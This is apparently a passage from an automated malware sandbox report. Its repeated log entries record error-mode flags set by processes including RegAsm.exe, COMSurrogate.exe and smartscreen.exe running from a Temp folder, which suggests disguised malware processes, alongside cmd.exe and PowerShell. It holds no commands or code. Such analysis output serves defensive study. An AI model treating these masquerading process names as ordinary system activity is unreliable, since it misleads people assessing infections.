                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
